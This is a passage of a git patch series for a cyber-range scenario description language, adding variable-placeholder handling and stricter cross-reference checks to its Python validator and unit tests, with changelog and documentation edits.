VM node" + ) def _verify_relationships(self) -> None: all_names = self._all_named_elements() for name, rel in self._s.relationships.items(): - if rel.source not in all_names: + if ( + not self._is_unresolved_var(rel.source) + and rel.source not in all_names + ): self._err( f"Relationship '{name}' source '{rel.source}' " f"does not reference any defined element" ) - if rel.target not in all_names: + if ( + not self._is_unresolved_var(rel.target) + and rel.target not in all_names + ): self._err( f"Relationship '{name}' target '{rel.target}' " f"does not reference any defined element" @@ -233,42 +353,73 @@ def _verify_agents(self) -> None: } for name, agent in self._s.agents.items(): - if agent.entity and agent.entity not in flat_entity_names: + if ( + agent.entity + and not self._is_unresolved_var(agent.entity) + and agent.entity not in flat_entity_names + ): self._err( f"Agent '{name}' references undefined entity '{agent.entity}'" ) for acct_name in agent.starting_accounts: + if self._is_unresolved_var(acct_name): + continue if acct_name not in self._s.accounts: self._err( f"Agent '{name}' starting_account '{acct_name}' " f"not in accounts section" ) for subnet in agent.allowed_subnets: + if self._is_unresolved_var(subnet): + continue if subnet not in self._s.infrastructure: self._err( f"Agent '{name}' allowed_subnet '{subnet}' " f"not in infrastructure section" ) + elif not self._is_switch_node(subnet): + self._err( + f"Agent '{name}' allowed_subnet '{subnet}' must " + "reference a switch/network entry" + ) if agent.initial_knowledge: for host in agent.initial_knowledge.hosts: + if self._is_unresolved_var(host): + continue if host not in self._s.nodes: self._err( f"Agent '{name}' initial_knowledge host '{host}' " f"not in nodes section" ) + elif not self._is_vm_node(host): + self._err( + f"Agent '{name}' initial_knowledge host '{host}' " + "must reference a VM node" + ) for subnet in agent.initial_knowledge.subnets: + if self._is_unresolved_var(subnet): + continue if subnet not in self._s.infrastructure: self._err( f"Agent '{name}' initial_knowledge subnet '{subnet}' " f"not in infrastructure section" ) + elif not self._is_switch_node(subnet): + self._err( + f"Agent '{name}' initial_knowledge subnet " + f"'{subnet}' must reference a switch/network entry" + ) for service_name in agent.initial_knowledge.services: + if self._is_unresolved_var(service_name): + continue if service_name not in service_names: self._err( f"Agent '{name}' initial_knowledge service " f"'{service_name}' not in node service names" ) for acct_name in agent.initial_knowledge.accounts: + if self._is_unresolved_var(acct_name): + continue if acct_name not in self._s.accounts: self._err( f"Agent '{name}' initial_knowledge account " @@ -276,11 +427,39 @@ def _verify_agents(self) -> None: ) def _verify_variables(self) -> None: - # Variable definitions are structurally validated by Pydantic. - # Cross-reference validation (checking ${var} references in other - # sections) is deferred to instantiation time because variable - # substitution strings can appear in any string field. - pass + defined = set(self._s.variables.keys()) + + def visit(value: object, path: str) -> None: + if isinstance(value, BaseModel): + for field_name in value.__class__.model_fields: + if isinstance(value, Scenario) and field_name == "variables": + continue + child = getattr(value, field_name) + child_path = f"{path}.{field_name}" if path else field_name + visit(child, child_path) + return + + if isinstance(value, dict): + for key, child in value.items(): + child_path = f"{path}.{key}" if path else str(key) + visit(child, child_path) + return + + if isinstance(value, list): + for index, child in enumerate(value): + child_path = f"{path}[{index}]" + visit(child, child_path) + return + + if self._is_unresolved_var(value): + variable_name = extract_variable_name(value) + if variable_name and variable_name not in defined: + self._err( + f"Undefined variable '{variable_name}' referenced at " + f"'{path}'" + ) + + visit(self._s, "") def _all_named_elements(self) -> set[str]: """Collect all named element keys across all scenario sections.""" @@ -301,14 +480,22 @@ def _all_named_elements(self) -> set[str]: names.update(self._s.scripts.keys()) names.update(self._s.stories.keys()) names.update(self._s.content.keys()) + for content in self._s.content.values(): + for item in content.items: + if item.name: + names.add(item.name) names.update(self._s.accounts.keys()) names.update(self._s.agents.keys()) + names.update(self._s.relationships.keys()) + names.update(self._s.variables.keys()) return names def _verify_features(self) -> None: # Check vulnerability references for name, feat in self._s.features.items(): for vuln_name in feat.vulnerabilities: + if self._is_unresolved_var(vuln_name): + continue if vuln_name not in self._s.vulnerabilities: self._err( f"Feature '{name}' references undefined vulnerability " @@ -320,6 +507,8 @@ def _verify_features(self) -> None: for name, feat in self._s.features.items(): dep_graph[name] = [] for dep in feat.dependencies: + if self._is_unresolved_var(dep): + continue if dep not in self._s.features: self._err( f"Feature '{name}' depends on undefined feature '{dep}'" @@ -345,6 +534,8 @@ def _verify_metrics(self) -> None: for name, metric in self._s.metrics.items(): if metric.type == MetricType.CONDITIONAL: cond = metric.condition + if self._is_unresolved_var(cond): + continue if cond and cond not in self._s.conditions: self._err( f"Metric '{name}' references undefined condition '{cond}'" @@ -359,16 +550,27 @@ def _verify_metrics(self) -> None: def _verify_evaluations(self) -> None: for name, evaluation in self._s.evaluations.items(): max_total = 0 + unknown_max_score = False for metric_name in evaluation.metrics: + if self._is_unresolved_var(metric_name): + unknown_max_score = True + continue if metric_name not in self._s.metrics: self._err( f"Evaluation '{name}' references undefined metric " f"'{metric_name}'" ) else: - max_total += self._s.metrics[metric_name].max_score - - if evaluation.min_score.absolute is not None: + metric_max_score = self._s.metrics[metric_name].max_score + if isinstance(metric_max_score, int): + max_total += metric_max_score + else: + unknown_max_score = True + + if ( + isinstance(evaluation.min_score.absolute, int) + and not unknown_max_score + ): if evaluation.min_score.absolute > max_total: self._err( f"Evaluation '{name}' absolute min-score " @@ -378,6 +580,8 @@ def _verify_evaluations(self) -> None: def _verify_tlos(self) -> None: for name, tlo in self._s.tlos.items(): + if self._is_unresolved_var(tlo.evaluation): + continue if tlo.evaluation not in self._s.evaluations: self._err( f"TLO '{name}' references undefined evaluation " @@ -387,6 +591,8 @@ def _verify_tlos(self) -> None: def _verify_goals(self) -> None: for name, goal in self._s.goals.items(): for tlo_name in goal.tlos: + if self._is_unresolved_var(tlo_name): + continue if tlo_name not in self._s.tlos: self._err( f"Goal '{name}' references undefined TLO '{tlo_name}'" @@ -397,17 +603,23 @@ def _verify_entities(self) -> None: def check_entity(name: str, entity: "Entity") -> None: for tlo_name in entity.tlos: + if self._is_unresolved_var(tlo_name): + continue if tlo_name not in self._s.tlos: self._err( f"Entity '{name}' references undefined TLO '{tlo_name}'" ) for vuln_name in entity.vulnerabilities: + if self._is_unresolved_var(vuln_name): + continue if vuln_name not in self._s.vulnerabilities: self._err( f"Entity '{name}' references undefined vulnerability " f"'{vuln_name}'" ) for event_name in entity.events: + if self._is_unresolved_var(event_name): + continue if event_name not in self._s.events: self._err( f"Entity '{name}' references undefined event " @@ -423,18 +635,26 @@ def _verify_injects(self) -> None: flat_names.update(self._s.entities.keys()) for name, inject in self._s.injects.items(): - if inject.from_entity and inject.from_entity not in flat_names: + if ( + inject.from_entity + and not self._is_unresolved_var(inject.from_entity) + and inject.from_entity not in flat_names + ): self._err( f"Inject '{name}' from_entity '{inject.from_entity}' " f"is not a defined entity" ) for to_name in inject.to_entities: + if self._is_unresolved_var(to_name): + continue if to_name not in flat_names: self._err( f"Inject '{name}' to_entity '{to_name}' " f"is not a defined entity" ) for tlo_name in inject.tlos: + if self._is_unresolved_var(tlo_name): + continue if tlo_name not in self._s.tlos: self._err( f"Inject '{name}' references undefined TLO '{tlo_name}'" @@ -443,12 +663,16 @@ def _verify_injects(self) -> None: def _verify_events(self) -> None: for name, event in self._s.events.items(): for cond_name in event.conditions: + if self._is_unresolved_var(cond_name): + continue if cond_name not in self._s.conditions: self._err( f"Event '{name}' references undefined condition " f"'{cond_name}'" ) for inj_name in event.injects: + if self._is_unresolved_var(inj_name): + continue if inj_name not in self._s.injects: self._err( f"Event '{name}' references undefined inject '{inj_name}'" @@ -457,6 +681,8 @@ def _verify_events(self) -> None: def _verify_scripts(self) -> None: for name, script in self._s.scripts.items(): for event_name in script.events: + if self._is_unresolved_var(event_name): + continue if event_name not in self._s.events: self._err( f"Script '{name}' references undefined event " @@ -466,6 +692,8 @@ def _verify_scripts(self) -> None: def _verify_stories(self) -> None: for name, story in self._s.stories.items(): for script_name in story.scripts: + if self._is_unresolved_var(script_name): + continue if script_name not in self._s.scripts: self._err( f"Story '{name}' references undefined script " @@ -479,6 +707,8 @@ def _verify_roles(self) -> None: for node_name, node in self._s.nodes.items(): for role_name, role in node.roles.items(): for entity_ref in role.entities: + if self._is_unresolved_var(entity_ref): + continue if entity_ref not in flat_names: self._err( f"Node '{node_name}' role '{role_name}' references " diff --git a/src/aptl/core/sdl/vulnerabilities.py b/src/aptl/core/sdl/vulnerabilities.py index 0c931ce6a..c687e18d2 100644 --- a/src/aptl/core/sdl/vulnerabilities.py +++ b/src/aptl/core/sdl/vulnerabilities.py @@ -8,7 +8,7 @@ from pydantic import Field, field_validator -from aptl.core.sdl._base import SDLModel +from aptl.core.sdl._base import SDLModel, parse_bool_or_var _CWE_PATTERN = re.compile(r"^CWE-\d+$") @@ -18,9 +18,14 @@ class Vulnerability(SDLModel): name: str description: str - technical: bool = False + technical: bool | str = False vuln_class: str = Field(alias="class") + @field_validator("technical", mode="before") + @classmethod + def parse_technical(cls, v: bool | str) -> bool | str: + return parse_bool_or_var(v, field_name="technical") + @field_validator("vuln_class") @classmethod def validate_cwe_format(cls, v: str) -> str: diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index f7f51a7fe..74155bf38 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -53,6 +53,11 @@ def test_invalid_string(self): with pytest.raises(ValueError, match="Invalid RAM"): parse_ram("four gigabytes") + @pytest.mark.parametrize("value", [0, -1, True]) + def test_rejects_non_positive_or_bool_values(self, value): + with pytest.raises(ValueError, match="RAM"): + parse_ram(value) + class TestResources: def test_human_readable_ram(self): @@ -63,6 +68,15 @@ def test_integer_ram(self): r = Resources(ram=1024, cpu=1) assert r.ram == 1024 + def test_variable_placeholders(self): + r = Resources(ram="${ram_bytes}", cpu="${cpu_cores}") + assert r.ram == "${ram_bytes}" + assert r.cpu == "${cpu_cores}" + + def test_rejects_non_positive_ram(self): + with pytest.raises(ValidationError, match="RAM"): + Resources(ram=0, cpu=1) + class TestNode: def test_vm_node(self): @@ -137,6 +151,10 @@ def test_duplicate_links_rejected(self): with pytest.raises(ValidationError, match="unique"): InfraNode(links=["a", "a"]) + def test_count_placeholder(self): + n = InfraNode(count="${replicas}") + assert n.count == "${replicas}" + class TestSimpleProperties: def test_valid(self): @@ -151,6 +169,16 @@ def test_invalid_cidr(self): with pytest.raises(ValidationError): SimpleProperties(cidr="not-a-cidr", gateway="10.0.0.1") + def test_variable_placeholders_skip_network_validation(self): + p = SimpleProperties( + cidr="${network_cidr}", + gateway="${network_gateway}", + internal="${is_internal}", + ) + assert p.cidr == "${network_cidr}" + assert p.gateway == "${network_gateway}" + assert p.internal == "${is_internal}" + # --------------------------------------------------------------------------- # Features @@ -193,6 +221,19 @@ def test_command_without_interval(self): with pytest.raises(ValidationError, match="interval"): Condition(command="/bin/check") + def test_scalar_placeholders(self): + c = Condition( + command="/usr/bin/check.sh", + interval="${check_interval}", + timeout="${check_timeout}", + retries="${check_retries}", + start_period="${check_start_period}", + ) + assert c.interval == "${check_interval}" + assert c.timeout == "${check_timeout}" + assert c.retries == "${check_retries}" + assert c.start_period == "${check_start_period}" + # --------------------------------------------------------------------------- # Vulnerabilities @@ -235,6 +276,11 @@ def test_conditional_requires_condition(self): with pytest.raises(ValidationError, match="requires.*condition"): Metric(type="conditional", max_score=10) + def test_variable_placeholders(self): + m = Metric(type="manual", max_score="${max_score}", artifact="${needs_upload}") + assert m.max_score == "${max_score}" + assert m.artifact == "${needs_upload}" + class TestMinScore: def test_percentage(self): @@ -253,6 +299,10 @@ def test_rejects_neither(self): with pytest.raises(ValidationError, match="either"): MinScore() + def test_placeholder_percentage(self): + ms = MinScore(percentage="${pass_percentage}") + assert ms.percentage == "${pass_percentage}" + class TestEvaluation: def test_valid(self): @@ -288,6 +338,10 @@ def test_basic(self): e = Entity(name="Team", role="blue") assert e.role == ExerciseRole.BLUE + def test_facts_supported(self): + e = Entity(name="Team", facts={"department": "SOC"}) + assert e.facts == {"department": "SOC"} + def test_nested_entities(self): e = Entity( name="Team", @@ -322,13 +376,37 @@ def test_simple_string(self): def test_compound(self): assert parse_duration("1h 30min") == 5400 + def test_supports_months_and_years(self): + assert parse_duration("1 mon") == 2_592_000 + assert parse_duration("1 y") == 31_536_000 + + def test_supports_micro_and_nanoseconds(self): + assert parse_duration("1 us") == 1 + assert parse_duration("1 ns") == 1 + + def test_subsecond_values_round_up(self): + assert parse_duration("1 ms") == 1 + assert parse_duration("1001 ms") == 2 + + def test_supports_plus_syntax(self): + assert parse_duration("1m+30") == 90 + def test_zero(self): assert parse_duration("0") == 0 + @pytest.mark.parametrize("value", [-1, -0.5, True, ""]) + def test_negative_or_blank_values_rejected(self, value): + with pytest.raises(ValueError, match="Invalid duration"): + parse_duration(value) + def test_invalid(self): with pytest.raises(ValueError, match="Invalid duration"): parse_duration("not a duration") + def test_rejects_garbage_suffix(self): + with pytest.raises(ValueError, match="Invalid duration"): + parse_duration("1h-nope") + class TestInject: def test_valid_pairing(self): @@ -369,6 +447,18 @@ def test_event_outside_bounds_rejected(self): events={"evt-1": "30 min"}, ) + def test_variable_placeholders(self): + s = Script( + start_time="${script_start}", + end_time="${script_end}", + speed="${script_speed}", + events={"evt-1": "${event_time}"}, + ) + assert s.start_time == "${script_start}" + assert s.end_time == "${script_end}" + assert s.speed == "${script_speed}" + assert s.events["evt-1"] == "${event_time}" + class TestStory: def test_valid(self): @@ -415,6 +505,15 @@ def test_sensitive_flag(self): c = Content(type="file", target="fs", path="/keys/id_rsa", sensitive=True) assert c.sensitive is True + def test_sensitive_placeholder(self): + c = Content( + type="file", + target="fs", + path="/tmp/flag.txt", + sensitive="${contains_sensitive_data}", + ) + assert c.sensitive == "${contains_sensitive_data}" + class TestAccount: def test_basic_account(self): @@ -440,6 +539,10 @@ def test_key_auth(self): password_strength="none") assert a.auth_method == "key" + def test_disabled_placeholder(self): + a = Account(username="svc", node="dc", disabled="${is_disabled}") + assert a.disabled == "${is_disabled}" + class TestACLRule: def test_allow_rule(self): @@ -452,6 +555,10 @@ def test_deny_rule(self): r = ACLRule(direction="out", to_net="wan", action="deny") assert r.action == ACLAction.DENY + def test_port_placeholder(self): + r = ACLRule(direction="in", from_net="wan", ports=["${https_port}"]) + assert r.ports == ["${https_port}"] + class TestOSFamily: def test_windows(self): @@ -498,6 +605,10 @@ def test_on_node(self): ) assert len(n.services) == 2 + def test_placeholder(self): + sp = ServicePort(port="${service_port}", name="https") + assert sp.port == "${service_port}" + class TestPlatformCommand: def test_basic(self): @@ -633,3 +744,14 @@ def test_rejects_default_outside_allowed_values(self): def test_number_variable_accepts_int_and_float_allowed_values(self): v = Variable(type="number", default=1.5, allowed_values=[1, 1.5, 2.0]) assert v.default == 1.5 + + +class TestBooleanPlaceholders: + def test_vulnerability_technical_placeholder(self): + v = Vulnerability( + name="SQLi", + description="SQL injection", + technical="${is_technical}", + **{"class": "CWE-89"}, + ) + assert v.technical == "${is_technical}" diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index e1fc7bfd2..8f9cc272e 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -84,6 +84,22 @@ def test_infrastructure_count_shorthand(self): s = parse_sdl(sdl) assert s.infrastructure["sw"].count == 1 + def test_infrastructure_count_placeholder_shorthand(self): + sdl = """ +name: test +variables: + switch_count: + type: integer + default: 1 +nodes: + sw: + type: switch +infrastructure: + sw: ${switch_count} +""" + s = parse_sdl(sdl) + assert s.infrastructure["sw"].count == "${switch_count}" + def test_role_shorthand(self): sdl = """ name: test @@ -120,6 +136,87 @@ def test_min_score_shorthand(self): s = parse_sdl(sdl, skip_semantic_validation=True) assert s.evaluations["e1"].min_score.percentage == 75 + def test_min_score_placeholder_shorthand(self): + sdl = """ +name: test +variables: + pass_pct: + type: integer + default: 75 +conditions: + c1: + command: /check + interval: 10 +metrics: + m1: + type: conditional + max-score: 10 + condition: c1 +evaluations: + e1: + metrics: + - m1 + min-score: ${pass_pct} +""" + s = parse_sdl(sdl) + assert s.evaluations["e1"].min_score.percentage == "${pass_pct}" + + def test_entity_facts_keys_preserved(self): + sdl = """ +name: test +entities: + blue-team: + name: Blue Team + facts: + Department-Name: SOC + Shift: nights +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.entities["blue-team"].facts == { + "Department-Name": "SOC", + "Shift": "nights", + } + + def test_ocr_duration_units_parse(self): + sdl = """ +name: test +events: + phase-1: {} +scripts: + main: + start-time: 1 us + end-time: 1 mon + speed: 1 + events: + phase-1: 1 ms +stories: + exercise: + scripts: [main] +""" + s = parse_sdl(sdl) + assert s.scripts["main"].start_time == 1 + assert s.scripts["main"].end_time == 2_592_000 + assert s.scripts["main"].events["phase-1"] == 1 + + def test_negative_numeric_duration_rejected(self): + sdl = """ +name: test +events: + phase-1: {} +scripts: + main: + start-time: -5 + end-time: 10 + speed: 1 + events: + phase-1: 1 +stories: + exercise: + scripts: [main] +""" + with pytest.raises(SDLParseError, match="Invalid duration"): + parse_sdl(sdl) + class TestFormat: def test_ocr_format(self): diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py index 03875af0e..6e4f8da7e 100644 --- a/tests/test_sdl_validator.py +++ b/tests/test_sdl_validator.py @@ -67,6 +67,34 @@ def test_node_name_too_long(self): errors = _validate(s) assert any("35 characters" in e for e in errors) + @pytest.mark.parametrize( + ("field_name", "section_name", "section_value", "error_fragment"), + [ + ("features", "features", {"svc": {"type": "service"}}, "feature 'svc' references undefined role"), + ("conditions", "conditions", {"check": {"command": "/bin/check", "interval": 10}}, "condition 'check' references undefined role"), + ("injects", "injects", {"email": {}}, "inject 'email' references undefined role"), + ], + ) + def test_role_binding_requires_declared_role( + self, + field_name, + section_name, + section_value, + error_fragment, + ): + s = _make_scenario( + nodes={ + "vm-1": { + "type": "vm", + "resources": {"ram": "1 gib", "cpu": 1}, + field_name: {next(iter(section_value.keys())): "admin"}, + } + }, + **{section_name: section_value}, + ) + errors = _validate(s) + assert any(error_fragment in e for e in errors) + class TestVerifyInfrastructure: def test_infra_without_matching_node(self): @@ -95,6 +123,57 @@ def test_switch_count_exceeds_one(self): errors = _validate(s) assert any("count > 1" in e for e in errors) + def test_links_must_reference_switch_entries(self): + s = _make_scenario( + nodes={ + "vm-a": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + "vm-b": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + }, + infrastructure={ + "vm-a": {"count": 1, "links": ["vm-b"]}, + "vm-b": {"count": 1}, + }, + ) + errors = _validate(s) + assert any("must reference a switch/network entry" in e for e in errors) + + def test_invalid_per_link_ip_is_rejected(self): + s = _make_scenario( + nodes={ + "sw": {"type": "switch"}, + "vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + }, + infrastructure={ + "sw": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + }, + "vm": { + "count": 1, + "links": ["sw"], + "properties": [{"sw": "not-an-ip"}], + }, + }, + ) + errors = _validate(s) + assert any("invalid IP assignment" in e for e in errors) + + def test_conditioned_node_cannot_scale_above_one(self): + s = _make_scenario( + nodes={ + "vm": { + "type": "vm", + "resources": {"ram": "1 gib", "cpu": 1}, + "conditions": {"check": "admin"}, + "roles": {"admin": {"username": "ops"}}, + } + }, + infrastructure={"vm": {"count": 3}}, + conditions={"check": {"command": "/bin/check", "interval": 10}}, + ) + errors = _validate(s) + assert any("cannot have count > 1" in e for e in errors) + class TestVerifyFeatures: def test_feature_dependency_cycle(self): @@ -281,6 +360,14 @@ def test_valid_content_passes(self): errors = _validate(s) assert not errors + def test_content_target_must_be_vm(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + content={"data": {"type": "file", "target": "sw", "path": "/tmp/flag"}}, + ) + errors = _validate(s) + assert any("must be a VM node" in e for e in errors) + class TestVerifyAccounts: def test_account_references_undefined_node(self): @@ -299,6 +386,14 @@ def test_valid_account_passes(self): errors = _validate(s) assert not errors + def test_account_node_must_be_vm(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + accounts={"user": {"username": "admin", "node": "sw"}}, + ) + errors = _validate(s) + assert any("must be a VM node" in e for e in errors) + class TestVerifyACLs: def test_acl_references_undefined_network(self): @@ -315,6 +410,27 @@ def test_acl_references_undefined_network(self): errors = _validate(s) assert any("undefined network" in e for e in errors) + def test_acl_checks_both_endpoints(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + infrastructure={ + "sw": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + "acls": [ + { + "direction": "in", + "from_net": "sw", + "to_net": "ghost-net", + "action": "deny", + } + ], + }, + }, + ) + errors = _validate(s) + assert any("ghost-net" in e for e in errors) + class TestFeatureListShorthand: def test_features_as_list_with_empty_role(self): @@ -367,6 +483,43 @@ def test_valid_relationship(self): errors = _validate(s) assert not errors + def test_relationship_can_target_variable(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + variables={"env": {"type": "string", "default": "prod"}}, + relationships={"r1": {"type": "connects_to", "source": "vm", "target": "env"}}, + ) + errors = _validate(s) + assert not errors + + def test_relationship_can_target_other_relationship(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + relationships={ + "r1": {"type": "connects_to", "source": "vm", "target": "vm"}, + "r2": {"type": "depends_on", "source": "vm", "target": "r1"}, + }, + ) + errors = _validate(s) + assert not errors + + def test_relationship_can_target_content_item_name(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + content={ + "dataset": { + "type": "dataset", + "target": "vm", + "items": [{"name": "budget.eml"}], + } + }, + relationships={ + "r1": {"type": "connects_to", "source": "vm", "target": "budget.eml"}, + }, + ) + errors = _validate(s) + assert not errors + class TestVerifyAgents: def test_undefined_entity(self): @@ -438,6 +591,59 @@ def test_undefined_initial_knowledge_account(self): errors = _validate(s) assert any("initial_knowledge account" in e for e in errors) + def test_allowed_subnet_must_reference_switch_entry(self): + s = _make_scenario( + nodes={ + "net": {"type": "switch"}, + "vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + }, + infrastructure={ + "net": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + }, + "vm": {"count": 1, "links": ["net"]}, + }, + entities={"red": {"role": "red"}}, + agents={"a1": {"entity": "red", "allowed_subnets": ["vm"]}}, + ) + errors = _validate(s) + assert any("allowed_subnet 'vm' must reference a switch/network entry" in e for e in errors) + + def test_initial_knowledge_subnet_must_reference_switch_entry(self): + s = _make_scenario( + nodes={ + "net": {"type": "switch"}, + "vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + }, + infrastructure={ + "net": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + }, + "vm": {"count": 1, "links": ["net"]}, + }, + entities={"red": {"role": "red"}}, + agents={"a1": {"entity": "red", "initial_knowledge": {"subnets": ["vm"]}}}, + ) + errors = _validate(s) + assert any("initial_knowledge subnet 'vm' must reference a switch/network entry" in e for e in errors) + + def test_initial_knowledge_host_must_reference_vm(self): + s = _make_scenario( + nodes={"net": {"type": "switch"}}, + infrastructure={ + "net": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + } + }, + entities={"red": {"role": "red"}}, + agents={"a1": {"entity": "red", "initial_knowledge": {"hosts": ["net"]}}}, + ) + errors = _validate(s) + assert any("initial_knowledge host 'net' must reference a VM node" in e for e in errors) + def test_valid_agent(self): s = _make_scenario( nodes={ @@ -468,6 +674,134 @@ def test_valid_agent(self): assert not errors +class TestVerifyVariables: + def test_defined_variables_allow_placeholders_across_models(self): + s = _make_scenario( + variables={ + "ram_bytes": {"type": "integer", "default": 1073741824}, + "cpu_cores": {"type": "integer", "default": 1}, + "node_count": {"type": "integer", "default": 1}, + "network_cidr": {"type": "string", "default": "10.0.0.0/24"}, + "network_gateway": {"type": "string", "default": "10.0.0.1"}, + "is_internal": {"type": "boolean", "default": True}, + "check_interval": {"type": "integer", "default": 30}, + "max_score": {"type": "integer", "default": 10}, + "pass_percentage": {"type": "integer", "default": 75}, + "script_start": {"type": "integer", "default": 0}, + "script_end": {"type": "integer", "default": 3600}, + "script_speed": {"type": "number", "default": 1.0}, + "event_time": {"type": "integer", "default": 600}, + "target_node": {"type": "string", "default": "vm"}, + "subnet_name": {"type": "string", "default": "net"}, + "entity_name": {"type": "string", "default": "blue"}, + "account_name": {"type": "string", "default": "admin"}, + "service_name": {"type": "string", "default": "ssh"}, + "service_port": {"type": "integer", "default": 22}, + "relationship_source": {"type": "string", "default": "web"}, + "relationship_target": {"type": "string", "default": "db"}, + "contains_sensitive_data": {"type": "boolean", "default": False}, + "is_disabled": {"type": "boolean", "default": False}, + }, + nodes={ + "net": {"type": "switch"}, + "vm": { + "type": "vm", + "resources": {"ram": "${ram_bytes}", "cpu": "${cpu_cores}"}, + "roles": {"admin": {"username": "user", "entities": ["${entity_name}"]}}, + "services": [{"port": "${service_port}", "name": "ssh"}], + }, + }, + infrastructure={ + "net": { + "count": 1, + "properties": { + "cidr": "${network_cidr}", + "gateway": "${network_gateway}", + "internal": "${is_internal}", + }, + }, + "vm": {"count": "${node_count}", "links": ["net"]}, + }, + conditions={ + "check": { + "command": "/bin/check", + "interval": "${check_interval}", + } + }, + metrics={ + "m1": { + "type": "conditional", + "max_score": "${max_score}", + "condition": "check", + } + }, + evaluations={ + "e1": { + "metrics": ["m1"], + "min_score": {"percentage": "${pass_percentage}"}, + } + }, + tlos={"t1": {"evaluation": "e1"}}, + goals={"g1": {"tlos": ["t1"]}}, + entities={"blue": {"role": "blue", "tlos": ["t1"]}}, + events={"evt": {}}, + scripts={ + "timeline": { + "start_time": "${script_start}", + "end_time": "${script_end}", + "speed": "${script_speed}", + "events": {"evt": "${event_time}"}, + } + }, + stories={"story": {"speed": "${script_speed}", "scripts": ["timeline"]}}, + content={ + "dataset": { + "type": "file", + "target": "${target_node}", + "path": "/tmp/flag", + "sensitive": "${contains_sensitive_data}", + } + }, + accounts={ + "admin": { + "username": "administrator", + "node": "${target_node}", + "disabled": "${is_disabled}", + } + }, + relationships={ + "r1": { + "type": "connects_to", + "source": "${relationship_source}", + "target": "${relationship_target}", + } + }, + agents={ + "a1": { + "entity": "${entity_name}", + "starting_accounts": ["${account_name}"], + "allowed_subnets": ["${subnet_name}"], + "initial_knowledge": { + "hosts": ["${target_node}"], + "subnets": ["${subnet_name}"], + "services": ["${service_name}"], + "accounts": ["${account_name}"], + }, + } + }, + ) + errors = _validate(s) + assert not errors + + def test_undefined_variable_reference_reported(self): + s = _make_scenario( + nodes={"sw": {"type": "switch"}}, + infrastructure={"sw": {"count": "${missing_count}"}}, + ) + errors = _validate(s) + assert any("Undefined variable 'missing_count'" in e for e in errors) + + class TestValidFullScenario: def test_complete_ocr_scenario_validates(self): """A complete OCR-style scenario passes validation.""" From 8ec9059ea57c21a1433dfd2843f38b25e4599ac9 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 16:54:32 -0700 Subject: [PATCH 11/15] Remove vars from SDL identity graph, restrict to attribute contents --- CHANGELOG.md | 2 + docs/sdl/index.md | 13 +++++ docs/sdl/limitations.md | 2 +- docs/sdl/parser.md | 9 +++- docs/sdl/sections.md | 10 ++-- src/aptl/core/sdl/accounts.py | 8 ++- src/aptl/core/sdl/agents.py | 8 ++- src/aptl/core/sdl/content.py | 21 +++++++- src/aptl/core/sdl/parser.py | 55 +++++++++++++++++--- tests/test_sdl_models.py | 30 +++++++++++ tests/test_sdl_parser.py | 98 +++++++++++++++++++++++++++++++++++ 11 files changed, 240 insertions(+), 16 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 760f0c172..881acbeed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **BREAKING**: Removed APTL legacy fields from SDL Scenario model — `metadata`, `mode`, `containers`, `preconditions`, `objectives`, `scoring`, `attack_chain`, `steps`, `defenses` are no longer part of the SDL specification. The SDL now has one clean identity: 19 specification sections with `name` as the only required field. - **BREAKING**: Removed backward-compatibility layer (`sdl/compat.py`) and the `scenarios.py` re-export shim. Runtime code that imported `ScenarioDefinition`, `validate_scenario_containers`, or APTL-specific types from `aptl.core.scenarios` will need updating. - **BREAKING**: APTL legacy scenario YAMLs (with `metadata` block) no longer parse through the SDL. They require migration to SDL format. +- Tightened structural validation for the new SDL sections: `content` now requires a `target` plus type-specific anchors (`path`, `source|items`, or `destination`), `accounts` require `node`, and `agents` require `entity`. +- Parser boundary tightened: `${var}` placeholders are now rejected in user-defined mapping keys, keeping SDL identifiers concrete at parse/validate time. - Moved runtime evaluation models to standalone modules: `aptl.core.objectives` (ObjectiveType, Objective, WazuhAlertValidation, etc.) and `aptl.core.attacks` (AttackStep, MitreReference, ExpectedDetection, etc.). These are runtime concerns, not specification concerns. - Removed 6 APTL-specific semantic validation passes from the SDL validator - Framing: OCR scoring pipeline (conditions → metrics → evaluations → TLOs → goals) is **exercise assessment** for human-evaluated team exercises. APTL objectives are **automated validation** for agent-driven scenarios — a runtime concern that lives outside the SDL. diff --git a/docs/sdl/index.md b/docs/sdl/index.md index aa5c155b1..c69680292 100644 --- a/docs/sdl/index.md +++ b/docs/sdl/index.md @@ -4,6 +4,19 @@ The APTL SDL is a YAML-based specification language for describing cyber range s The SDL describes *what a scenario is* — not how to deploy it. A separate backend binding layer (not yet implemented) translates SDL specifications into concrete infrastructure (Docker Compose, Terraform, cloud APIs). +## Stable IDs, Variable Values + +The SDL keeps its **symbol table** concrete at parse time. User-defined identifiers such as node keys, feature keys, account keys, 